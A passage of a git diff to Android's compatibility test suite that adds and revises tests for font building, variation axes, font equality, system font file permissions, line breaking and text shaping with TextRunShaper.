             assertNotNull("ResId=#" + resId, font.getBuffer());
             assertNull("ResId=#" + resId, font.getFile());
         }
@@ -861,7 +887,7 @@
             assertEquals("ResId=#" + resId, weight, font.getStyle().getWeight());
             assertEquals("ResId=#" + resId, slant, font.getStyle().getSlant());
             assertEquals("ResId=#" + resId, ttcIndex, font.getTtcIndex());
-            assertNull("ResId=#" + resId, font.getAxes());
+            assertNullOrEmpty("ResId=#" + resId, font.getAxes());
             assertNotNull("ResId=#" + resId, font.getBuffer());
             assertNull("ResId=#" + resId, font.getFile());
         }
@@ -882,7 +908,7 @@
             assertEquals("ResId=#" + resId, weight, font.getStyle().getWeight());
             assertEquals("ResId=#" + resId, slant, font.getStyle().getSlant());
             assertEquals("ResId=#" + resId, 0, font.getTtcIndex());
-            assertEquals("ResId=#" + resId, axes, font.getAxes());
+            assertAxesEquals("ResId=#" + resId, axes, font.getAxes());
             assertNotNull("ResId=#" + font.getBuffer());
             assertNull("ResId=#" + resId, font.getFile());
         }
@@ -902,7 +928,7 @@
             assertEquals("ResId=#" + resId, customWeight, font.getStyle().getWeight());
             assertEquals("ResId=#" + resId, slant, font.getStyle().getSlant());
             assertEquals("ResId=#" + resId, 0, font.getTtcIndex());
-            assertNull("ResId=#" + resId, font.getAxes());
+            assertNullOrEmpty("ResId=#" + resId, font.getAxes());
             assertNotNull("ResId=#" + resId, font.getBuffer());
             assertNull("ResId=#" + resId, font.getFile());
         }
@@ -917,7 +943,7 @@
             assertEquals("ResId=#" + resId, FontStyle.FONT_SLANT_ITALIC,
                     font.getStyle().getSlant());
             assertEquals("ResId=#" + resId, 0, font.getTtcIndex());
-            assertNull("ResId=#" + resId, font.getAxes());
+            assertNullOrEmpty("ResId=#" + resId, font.getAxes());
             assertNotNull("ResId=#" + resId, font.getBuffer());
             assertNull("ResId=#" + resId, font.getFile());
         }
@@ -1000,4 +1026,187 @@
         final Resources res = InstrumentationRegistry.getTargetContext().getResources();
         new Font.Builder(res, R.font.ascii).setWeight(FontStyle.FONT_WEIGHT_MIN - 1).build();
     }
+
+    @Test
+    public void builder_with_font_with_axis() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        // WeightEqualsEmVariableFont adjust glyph advance as follows
+        //  glyph advance = 'wght' value / 1000
+        // Thus, by setting text size to 1000px, the glyph advance will equals to passed wght value.
+        Font baseFont = new Font.Builder(assets, "fonts/var_fonts/WeightEqualsEmVariableFont.ttf")
+                .build();
+
+        FontStyle style = new FontStyle(123, FontStyle.FONT_SLANT_ITALIC);
+
+        for (int weight = 50; weight < 1000; weight += 50) {
+            Font clonedFont = new Font.Builder(baseFont)
+                    .setWeight(style.getWeight())
+                    .setSlant(style.getSlant())
+                    .setFontVariationSettings("'wght' " + weight)
+                    .build();
+
+            // New font should have the same style passed.
+            assertEquals(style.getWeight(), clonedFont.getStyle().getWeight());
+            assertEquals(style.getSlant(), clonedFont.getStyle().getSlant());
+
+            Paint p = new Paint();
+            p.setTextSize(1000);  // make 1em = 1000px = weight
+            p.setTypeface(new Typeface.CustomFallbackBuilder(
+                    new FontFamily.Builder(clonedFont).build()
+            ).build());
+            assertEquals(weight, p.measureText("a"), 0);
+
+        }
+    }
+
+    @Test
+    public void builder_with_explicit_style() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        Font baseFont = new Font.Builder(assets, "fonts/others/samplefont.ttf").build();
+        FontStyle style = new FontStyle(123, FontStyle.FONT_SLANT_ITALIC);
+        Font clonedFont = new Font.Builder(baseFont)
+                .setWeight(style.getWeight())
+                .setSlant(style.getSlant())
+                .build();
+
+        assertEquals(style.getWeight(), clonedFont.getStyle().getWeight());
+        assertEquals(style.getSlant(), clonedFont.getStyle().getSlant());
+    }
+
+    @Test
+    public void builder_style_resolve_default() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        Font baseFont = new Font.Builder(assets,
+                "fonts/family_selection/ttf/ascii_l3em_weight600_italic.ttf").build();
+        Font clonedFont = new Font.Builder(baseFont).build();
+
+        assertEquals(600, clonedFont.getStyle().getWeight());
+        assertEquals(FontStyle.FONT_SLANT_ITALIC, clonedFont.getStyle().getSlant());
+    }
+
+    @Test
+    public void getBoundingBox() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        Font font = new Font.Builder(assets, "fonts/measurement/a3em.ttf").build();
+        Paint paint = new Paint();
+        paint.setTextSize(100);  // make 1em = 100px
+
+        int glyphID = 1;  // See a3em.ttx file for the Glyph ID.
+
+        RectF rect = new RectF();
+        float advance = font.getGlyphBounds(glyphID, paint, rect);
+
+        assertEquals(100f, advance, 0f);
+        // Glyph bbox is 0.1em shifted to right. See lsb value in hmtx in ttx file.
+        assertEquals(rect.left, 10f, 0f);
+        assertEquals(rect.top, -100f, 0f);
+        assertEquals(rect.right, 110f, 0f);
+        assertEquals(rect.bottom, 0f, 0f);
+    }
+
+    @Test
+    public void getFontMetrics() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        Font font = new Font.Builder(assets, "fonts/measurement/a3em.ttf").build();
+        Paint paint = new Paint();
+        paint.setTextSize(100);  // make 1em = 100px
+
+        Paint.FontMetrics metrics = new Paint.FontMetrics();
+        font.getMetrics(paint, metrics);
+
+        assertEquals(-100f, metrics.ascent, 0f);
+        assertEquals(20f, metrics.descent, 0f);
+        // This refers head.yMax which is not explicitly visible in ttx file.
+        assertEquals(-300f, metrics.top, 0f);
+        // This refers head.yMin which is not explicitly visible in ttx file.
+        assertEquals(0f, metrics.bottom, 0f);
+    }
+
+    @Test
+    public void byteBufferEquality() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        Font aFont = new Font.Builder(assets, "fonts/others/samplefont.ttf").build();
+        // Copied font must be equals to original one.
+        Font bFont = new Font.Builder(aFont).build();
+        assertEquals(aFont, bFont);
+        assertEquals(bFont, aFont);
+
+        // Same source font must be equal.
+        Font cFont = new Font.Builder(assets, "fonts/others/samplefont.ttf").build();
+        assertEquals(aFont, cFont);
+        assertEquals(cFont, aFont);
+
+        // Created font from duplicated buffers must be equal.
+        Font dFont = new Font.Builder(aFont.getBuffer().duplicate()).build();
+        Font eFont = new Font.Builder(aFont.getBuffer().duplicate()).build();
+        assertEquals(dFont, eFont);
+        assertEquals(eFont, dFont);
+
+        // Different parameter should be unequal but sameSource returns true.
+        Font fFont = new Font.Builder(aFont.getBuffer().duplicate())
+                .setFontVariationSettings("'wght' 400").build();
+        assertNotEquals(aFont, fFont);
+        assertNotEquals(fFont, aFont);
+
+        // Different source must be not equals.
+        Font gFont = new Font.Builder(assets, "fonts/others/samplefont2.ttf").build();
+        assertNotEquals(aFont, gFont);
+    }
+
+    @Test
+    public void fontIdentifier() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        Font aFont = new Font.Builder(assets, "fonts/others/samplefont.ttf").build();
+        // Copied font must be equals to original one.
+        Font bFont = new Font.Builder(aFont).build();
+        assertEquals(aFont.getSourceIdentifier(), bFont.getSourceIdentifier());
+
+        // Different parameter should be unequal but sameSource returns true.
+        Font dFont = new Font.Builder(aFont)
+                .setFontVariationSettings("'wght' 400")
+                .setWeight(123)
+                .build();
+        assertEquals(aFont.getSourceIdentifier(), dFont.getSourceIdentifier());
+
+        // Different source must be not equals.
+        Font gFont = new Font.Builder(assets, "fonts/others/samplefont2.ttf").build();
+        assertNotEquals(aFont.getSourceIdentifier(), gFont.getSourceIdentifier());
+
+        Typeface typeface = new Typeface.CustomFallbackBuilder(
+                new FontFamily.Builder(
+                        aFont
+                ).build()
+        ).build();
+
+        Paint paint = new Paint();
+        paint.setTypeface(typeface);
+        PositionedGlyphs glyphs = TextRunShaper.shapeTextRun("a", 0, 1, 0, 1, 0f, 0f, false, paint);
+        assertEquals(aFont, glyphs.getFont(0));
+        assertEquals(aFont.getSourceIdentifier(), glyphs.getFont(0).getSourceIdentifier());
+    }
+
+    @Test
+    public void byteBufferSameHash() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        Font aFont = new Font.Builder(assets, "fonts/others/samplefont.ttf").build();
+        // Copied font must be equals to original one.
+        assertEquals(new Font.Builder(aFont).build().hashCode(), aFont.hashCode());
+
+        // Same source font must be equal.
+        assertEquals(new Font.Builder(assets, "fonts/others/samplefont.ttf").build().hashCode(),
+                aFont.hashCode());
+
+        // Created font from duplicated buffers must be equal.
+        int cFontHash = new Font.Builder(aFont.getBuffer().duplicate()).build().hashCode();
+        int dFontHash = new Font.Builder(aFont.getBuffer().duplicate()).build().hashCode();
+        assertEquals(cFontHash, dFontHash);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
index 9f9d603..11bc1bf 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
@@ -16,12 +16,14 @@
 
 package android.graphics.fonts;
 
+import android.icu.util.ULocale;
 import android.os.LocaleList;
 import android.util.Pair;
 
 import java.io.File;
 import java.util.Arrays;
 import java.util.HashSet;
+import java.util.Locale;
 import java.util.Objects;
 import java.util.Set;
 
@@ -55,7 +57,7 @@
                 && f.mSlant == mSlant
                 && f.mIndex == mIndex
                 && Arrays.equals(f.mAxes, mAxes)
-                && Objects.equals(f.mLocale, mLocale);
+                && localeListEquals(f.mLocale, mLocale);
         }
 
         @Override
@@ -64,6 +66,31 @@
                 mLocale);
         }
 
+        public boolean localeEquals(Locale left, Locale right) {
+            ULocale ulocLeft = ULocale.addLikelySubtags(ULocale.forLocale(left));
+            ULocale ulocRight = ULocale.addLikelySubtags(ULocale.forLocale(right));
+            return ulocLeft.equals(ulocRight);
+        }
+
+        public boolean localeListEquals(LocaleList left, LocaleList right) {
+            if (left == right) {
+                return true;
+            }
+            if (left == null || right == null) {
+                return false;
+            }
+
+            if (left.size() != right.size()) {
+                return false;
+            }
+            for (int i = 0; i < left.size(); ++i) {
+                if (!localeEquals(left.get(i), right.get(i))) {
+                    return false;
+                }
+            }
+            return true;
+        }
+
         @Override
         public String toString() {
             return "Font {"
@@ -98,11 +125,13 @@
                     font.mSlant = nIsItalic(fontPtr)
                         ? FontStyle.FONT_SLANT_ITALIC : FontStyle.FONT_SLANT_UPRIGHT;
                     font.mIndex = nGetCollectionIndex(fontPtr);
-                    font.mAxes = new FontVariationAxis[nGetAxisCount(fontPtr)];
+                    int axesSize = nGetAxisCount(fontPtr);
+                    font.mAxes = new FontVariationAxis[axesSize];
                     for (int i = 0; i < font.mAxes.length; ++i) {
                         font.mAxes[i] = new FontVariationAxis(
-                            tagToStr(nGetAxisTag(fontPtr, i)), nGetAxisValue(fontPtr, i));
+                                tagToStr(nGetAxisTag(fontPtr, i)), nGetAxisValue(fontPtr, i));
                     }
+
                     font.mLocale = LocaleList.forLanguageTags(nGetLocale(fontPtr));
                     nativeFonts.add(font);
                 } finally {
diff --git a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
index de6ab63..f889dec 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
@@ -16,6 +16,8 @@
 
 package android.graphics.fonts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
@@ -59,15 +61,7 @@
         Set<NativeSystemFontHelper.FontDescriptor> nativeFonts =
                 NativeSystemFontHelper.getAvailableFonts();
 
-        assertEquals(javaFonts.size(), nativeFonts.size());
-
-        for (NativeSystemFontHelper.FontDescriptor f : nativeFonts) {
-            assertTrue(javaFonts.contains(f));
-        }
-
-        for (NativeSystemFontHelper.FontDescriptor f : javaFonts) {
-            assertTrue(nativeFonts.contains(f));
-        }
+        assertThat(javaFonts).containsExactlyElementsIn(nativeFonts);
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java b/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
index 18d6758..e99cc3f 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
@@ -61,16 +61,22 @@
         for (Font font : availableFonts) {
             assertNotNull("System font must provide file path to the font file.", font.getFile());
 
-            // The system font must be read-only file.
-            assertTrue(font.getFile().exists());
-            assertTrue(font.getFile().isFile());
-            assertTrue(font.getFile().canRead());
-            assertFalse(font.getFile().canExecute());
-            assertFalse(font.getFile().canWrite());
-
-            // The system font must be in read-only file system
             final String absPath = font.getFile().getAbsolutePath();
-            assertTrue((Os.statvfs(absPath).f_flag & OsConstants.ST_RDONLY) != 0);
+
+            // The system font must be read-only file.
+            assertTrue(absPath + " must exists", font.getFile().exists());
+            assertTrue(absPath + " must be a file", font.getFile().isFile());
+            assertTrue(absPath + " must be readable", font.getFile().canRead());
+            assertFalse(absPath + " must not executable", font.getFile().canExecute());
+            assertFalse(absPath + " must not writable", font.getFile().canWrite());
+
+            // The update font files will be in /data directory which is not usually under the
+            // read-only file system.
+            if (!absPath.startsWith("/data/fonts/")) {
+                // The system font must be in read-only file system.
+                assertTrue(absPath + " is not in the read-only file system.",
+                        (Os.statvfs(absPath).f_flag & OsConstants.ST_RDONLY) != 0);
+            }
         }
     }
 
diff --git a/tests/tests/graphics/src/android/graphics/fonts/SystemFontsUniqueNameTest.java b/tests/tests/graphics/src/android/graphics/fonts/SystemFontsUniqueNameTest.java
new file mode 100644
index 0000000..7e25ce5
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/fonts/SystemFontsUniqueNameTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.fonts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.test.suitebuilder.annotation.MediumTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.HashSet;
+import java.util.Set;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SystemFontsUniqueNameTest {
+
+    @Test
+    public void uniquePostScript() throws IOException {
+        Set<String> set = new HashSet<>();
+        Set<File> seenFile = new HashSet<>();
+
+        for (Font font : SystemFonts.getAvailableFonts()) {
+            if (seenFile.contains(font.getFile())) {
+                continue;
+            }
+            String psName = FontFileTestUtil.getPostScriptName(font.getFile());
+            assertThat(psName).isNotNull();
+            assertThat(set).doesNotContain(psName);
+
+            seenFile.add(font.getFile());
+            set.add(psName);
+        }
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/text/cts/LineBreakerTest.java b/tests/tests/graphics/src/android/graphics/text/cts/LineBreakerTest.java
index 9fa5fd5..5a20570 100644
--- a/tests/tests/graphics/src/android/graphics/text/cts/LineBreakerTest.java
+++ b/tests/tests/graphics/src/android/graphics/text/cts/LineBreakerTest.java
@@ -582,4 +582,20 @@
         assertEquals(50.0f, r.getLineWidth(1), 0.0f);
         assertEquals(70.0f, r.getLineWidth(2), 0.0f);
     }
+
+    @Test
+    public void testLineBreak_ZeroWidthTab() {
+        final String text = "Hi, \tWorld.";
+        final LineBreaker lb = new LineBreaker.Builder()
+                .setBreakStrategy(BREAK_STRATEGY_SIMPLE)
+                .build();
+        final ParagraphConstraints c = new ParagraphConstraints();
+        c.setWidth(70.0f);
+        c.setTabStops(null, 0);
+        Result r = lb.computeLineBreaks(new MeasuredText.Builder(text.toCharArray())
+                .appendStyleRun(sPaint, text.length(), false)
+                .build(), c, 0);
+        float lw = r.getLineWidth(0);
+        assertFalse(Float.isNaN(lw));
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java b/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java
index 096f366..52a2a74 100644
--- a/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java
+++ b/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java
@@ -187,6 +187,31 @@
         assertEquals(twoCharRect, out);
     }
 
+    @Test
+    public void testGetBounds_RTL() {
+        Paint paint = new Paint();
+        AssetManager am = InstrumentationRegistry.getTargetContext().getAssets();
+        Typeface typeface = Typeface.createFromAsset(am, "fonts/measurement/bbox.ttf");
+        paint.setTypeface(typeface);
+        paint.setTextSize(100f);  // Make 1em = 100px
+        String text = "\u0028";  // U+0028 is 1em x 1em in LTR and 3em x 3em in RTL.
+        Rect ltrRect = new Rect();
+        Rect rtlRect = new Rect();
+
+        new MeasuredText.Builder(text.toCharArray())
+                .appendStyleRun(paint, text.length(), false)
+                .build()
+                .getBounds(0, 1, ltrRect);
+        new MeasuredText.Builder(text.toCharArray())
+                .appendStyleRun(paint, text.length(), true)
+                .build()
+                .getBounds(0, 1, rtlRect);
+
+
+        assertEquals(new Rect(0, -100, 100, 0), ltrRect);
+        assertEquals(new Rect(0, -300, 300, 0), rtlRect);
+    }
+
     @Test(expected = IllegalArgumentException.class)
     public void testGetBounds_StartSmallerThanZero() {
         String text = "Hello, World";
diff --git a/tests/tests/graphics/src/android/graphics/text/cts/TextRunShaperTest.java b/tests/tests/graphics/src/android/graphics/text/cts/TextRunShaperTest.java
new file mode 100644
index 0000000..689f00f
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/text/cts/TextRunShaperTest.java
@@ -0,0 +1,367 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.text.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.Typeface;
+import android.graphics.fonts.Font;
+import android.graphics.fonts.FontFamily;
+import android.graphics.fonts.FontVariationAxis;
+import android.graphics.text.PositionedGlyphs;
+import android.graphics.text.TextRunShaper;
+import android.text.Layout;
+import android.text.TextDirectionHeuristic;
+import android.text.TextDirectionHeuristics;
+import android.text.TextPaint;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.HashSet;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextRunShaperTest {
+
+    @Test
+    public void shapeText() {
+        // Setup
+        Paint paint = new Paint();
+        paint.setTextSize(100f);
+        String text = "Hello, World.";
+
+        // Act
+        PositionedGlyphs result = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        // Assert
+        // Glyph must be included. (the count cannot be expected since there could be ligature).
+        assertThat(result.glyphCount()).isNotEqualTo(0);
+        for (int i = 0; i < result.glyphCount(); ++i) {
+            // Glyph ID = 0 is reserved for Tofu, thus expecting all character has glyph.
+            assertThat(result.getGlyphId(i)).isNotEqualTo(0);
+        }
+
+        // Must have horizontal advance.
+        assertThat(result.getAdvance()).isGreaterThan(0f);
+        float ascent = result.getAscent();
+        float descent = result.getDescent();
+        // Usually font has negative ascent value which is relative from the baseline.
+        assertThat(ascent).isLessThan(0f);
+        // Usually font has positive descent value which is relative from the baseline.
+        assertThat(descent).isGreaterThan(0f);
+        Paint.FontMetrics metrics = new Paint.FontMetrics();
+        for (int i = 0; i < result.glyphCount(); ++i) {
+            result.getFont(i).getMetrics(paint, metrics);
+            // The overall ascent must be smaller (wider) than each font ascent.
+            assertThat(ascent <= metrics.ascent).isTrue();
+            // The overall descent must be bigger (wider) than each font descent.
+            assertThat(descent >= metrics.descent).isTrue();
+        }
+    }
+
+    @Test
+    public void shapeText_differentPaint() {
+        // Setup
+        Paint paint = new Paint();
+        String text = "Hello, World.";
+
+        // Act
+        paint.setTextSize(100f);  // Shape text with 100px
+        PositionedGlyphs result1 = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        paint.setTextSize(50f);  // Shape text with 50px
+        PositionedGlyphs result2 = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        // Assert
+        // The total advance should be different.
+        assertThat(result1.getAdvance()).isNotEqualTo(result2.getAdvance());
+
+        // The size change doesn't affect glyph selection.
+        assertThat(result1.glyphCount()).isEqualTo(result2.glyphCount());
+        for (int i = 0; i < result1.glyphCount(); ++i) {
+            assertThat(result1.getGlyphId(i)).isEqualTo(result2.getGlyphId(i));
+        }
+    }
+
+    @Test
+    public void shapeText_context() {
+        // Setup
+        Paint paint = new Paint();
+        paint.setTextSize(100f);
+
+        // Arabic script change form (glyph) based on position.
+        String text = "\u0645\u0631\u062D\u0628\u0627";
+
+        // Act
+        PositionedGlyphs resultWithContext = TextRunShaper.shapeTextRun(
+                text, 0, 1, 0, text.length(), 0f, 0f, true, paint);
+        PositionedGlyphs resultWithoutContext = TextRunShaper.shapeTextRun(
+                text, 0, 1, 0, 1, 0f, 0f, true, paint);
+
+        // Assert
+        assertThat(resultWithContext.getGlyphId(0))
+                .isNotEqualTo(resultWithoutContext.getGlyphId(0));
+    }
+
+    @Test
+    public void shapeText_twoAPISameResult() {
+        // Setup
+        Paint paint = new Paint();
+        String text = "Hello, World.";
+        paint.setTextSize(100f);  // Shape text with 100px
+
+        // Act
+        PositionedGlyphs resultString = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        char[] charArray = text.toCharArray();
+        PositionedGlyphs resultChars = TextRunShaper.shapeTextRun(
+                charArray, 0, charArray.length, 0, charArray.length, 0f, 0f, false, paint);
+
+        // Asserts
+        assertThat(resultString.glyphCount()).isEqualTo(resultChars.glyphCount());
+        assertThat(resultString.getAdvance()).isEqualTo(resultChars.getAdvance());
+        assertThat(resultString.getAscent()).isEqualTo(resultChars.getAscent());
+        assertThat(resultString.getDescent()).isEqualTo(resultChars.getDescent());
+        for (int i = 0; i < resultString.glyphCount(); ++i) {
+            assertThat(resultString.getGlyphId(i)).isEqualTo(resultChars.getGlyphId(i));
+            assertThat(resultString.getFont(i)).isEqualTo(resultChars.getFont(i));
+            assertThat(resultString.getGlyphX(i)).isEqualTo(resultChars.getGlyphX(i));
+            assertThat(resultString.getGlyphY(i)).isEqualTo(resultChars.getGlyphY(i));
+        }
+    }
+
+    @Test
+    public void shapeText_multiLanguage() {
+        // Setup
+        Paint paint = new Paint();
+        paint.setTextSize(100f);
+        String text = "Hello, Emoji: \uD83E\uDE90";  // Usually emoji is came from ColorEmoji font.
+
+        // Act
+        PositionedGlyphs result = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        // Assert
+        HashSet<Font> set = new HashSet<>();
+        for (int i = 0; i < result.glyphCount(); ++i) {
+            set.add(result.getFont(i));
+        }
+        assertThat(set.size()).isEqualTo(2);  // Roboto + Emoji is expected
+    }
+
+    @Test
+    public void shapeText_FontCreateFromNative() throws IOException {
+        // Setup
+        Context ctx = InstrumentationRegistry.getTargetContext();
+        Paint paint = new Paint();
+        Font originalFont = new Font.Builder(
+                ctx.getAssets(),
+                "fonts/var_fonts/WeightEqualsEmVariableFont.ttf")
+                .build();
+        Typeface typeface = new Typeface.CustomFallbackBuilder(
+                new FontFamily.Builder(originalFont).build()
+        ).build();
+        paint.setTypeface(typeface);
+        // setFontVariationSettings creates Typeface internally and it is not from Java Font object.
+        paint.setFontVariationSettings("'wght' 250");
+
+        // Act
+        PositionedGlyphs res = TextRunShaper.shapeTextRun("a", 0, 1, 0, 1, 0f, 0f, false, paint);
+
+        // Assert
+        Font font = res.getFont(0);
+        assertThat(font.getBuffer()).isEqualTo(originalFont.getBuffer());
+        assertThat(font.getTtcIndex()).isEqualTo(originalFont.getTtcIndex());
+        FontVariationAxis[] axes = font.getAxes();
+        assertThat(axes.length).isEqualTo(1);
+        assertThat(axes[0].getTag()).isEqualTo("wght");
+        assertThat(axes[0].getStyleValue()).isEqualTo(250f);
+    }
+
+    @Test
+    public void positionedGlyphs_equality() {
+        // Setup
+        Paint paint = new Paint();
+        paint.setTextSize(100f);
+
+        // Act
+        PositionedGlyphs glyphs = TextRunShaper.shapeTextRun(
+                "abcde", 0, 5, 0, 5, 0f, 0f, true, paint);
+        PositionedGlyphs eqGlyphs = TextRunShaper.shapeTextRun(
+                "abcde", 0, 5, 0, 5, 0f, 0f, true, paint);
+        PositionedGlyphs reversedGlyphs = TextRunShaper.shapeTextRun(
+                "edcba", 0, 5, 0, 5, 0f, 0f, true, paint);
+        PositionedGlyphs substrGlyphs = TextRunShaper.shapeTextRun(
+                "edcba", 0, 3, 0, 3, 0f, 0f, true, paint);
+        paint.setTextSize(50f);
+        PositionedGlyphs differentStyleGlyphs = TextRunShaper.shapeTextRun(
+                "edcba", 0, 3, 0, 3, 0f, 0f, true, paint);
+
+        // Assert
+        assertThat(glyphs).isEqualTo(eqGlyphs);
+
+        assertThat(glyphs).isNotEqualTo(reversedGlyphs);
+        assertThat(glyphs).isNotEqualTo(substrGlyphs);
+        assertThat(glyphs).isNotEqualTo(differentStyleGlyphs);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void positionedGlyphs_IllegalArgument_glyphID() {
+        // Setup
+        Paint paint = new Paint();
+        String text = "Hello, World.";
+        paint.setTextSize(100f);  // Shape text with 100px
+        PositionedGlyphs res = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        // Act
+        res.getGlyphId(res.glyphCount());  // throws IllegalArgumentException
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void resultTest_IllegalArgument_font() {
+        // Setup
+        Paint paint = new Paint();
+        String text = "Hello, World.";
+        paint.setTextSize(100f);  // Shape text with 100px
+        PositionedGlyphs res = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        // Act
+        res.getFont(res.glyphCount());  // throws IllegalArgumentException
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void resultTest_IllegalArgument_X() {
+        // Setup
+        Paint paint = new Paint();
+        String text = "Hello, World.";
+        paint.setTextSize(100f);  // Shape text with 100px
+        PositionedGlyphs res = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        // Act
+        res.getGlyphX(res.glyphCount());  // throws IllegalArgumentException
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void resultTest_IllegalArgument_Y() {
+        // Setup
+        Paint paint = new Paint();
+        String text = "Hello, World.";
+        paint.setTextSize(100f);  // Shape text with 100px
+        PositionedGlyphs res = TextRunShaper.shapeTextRun(
+                text, 0, text.length(), 0, text.length(), 0f, 0f, false, paint);
+
+        // Act
+        res.getGlyphY(res.glyphCount());  // throws IllegalArgumentException
+    }
+
+    public void assertSameDrawResult(CharSequence text, TextPaint paint,
+            TextDirectionHeuristic textDir) {
+        int width = (int) Math.ceil(Layout.getDesiredWidth(text, paint));
+        Paint.FontMetricsInt fmi = paint.getFontMetricsInt();
+        int height = fmi.descent - fmi.ascent;
+        boolean isRtl = textDir.isRtl(text, 0, text.length());
+
+        // Expected bitmap output
+        Bitmap layoutResult = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        Canvas layoutCanvas = new Canvas(layoutResult);
+        layoutCanvas.translate(0f, -fmi.ascent);
+        layoutCanvas.drawTextRun(
+                text,
+                0, text.length(),  // range
+                0, text.length(),  // context range
+                0f, 0f,  // position
+                isRtl, paint);
+
+        // Actual bitmap output
+        Bitmap glyphsResult = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        Canvas glyphsCanvas = new Canvas(glyphsResult);
+        glyphsCanvas.translate(0f, -fmi.ascent);
+        PositionedGlyphs glyphs = TextRunShaper.shapeTextRun(
+                text,
+                0, text.length(),  // range
+                0, text.length(),  // context range
+                0f, 0f,  // position
+                isRtl, paint);
+        for (int i = 0; i < glyphs.glyphCount(); ++i) {
+            glyphsCanvas.drawGlyphs(
+                    new int[] { glyphs.getGlyphId(i) },
+                    0,
+                    new float[] { glyphs.getGlyphX(i), glyphs.getGlyphY(i) },
+                    0,
+                    1,
+                    glyphs.getFont(i),
+                    paint
+            );
+        }
+
+        assertThat(glyphsResult.sameAs(layoutResult)).isTrue();
+    }
+
+    @Test
+    public void testDrawConsistency() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
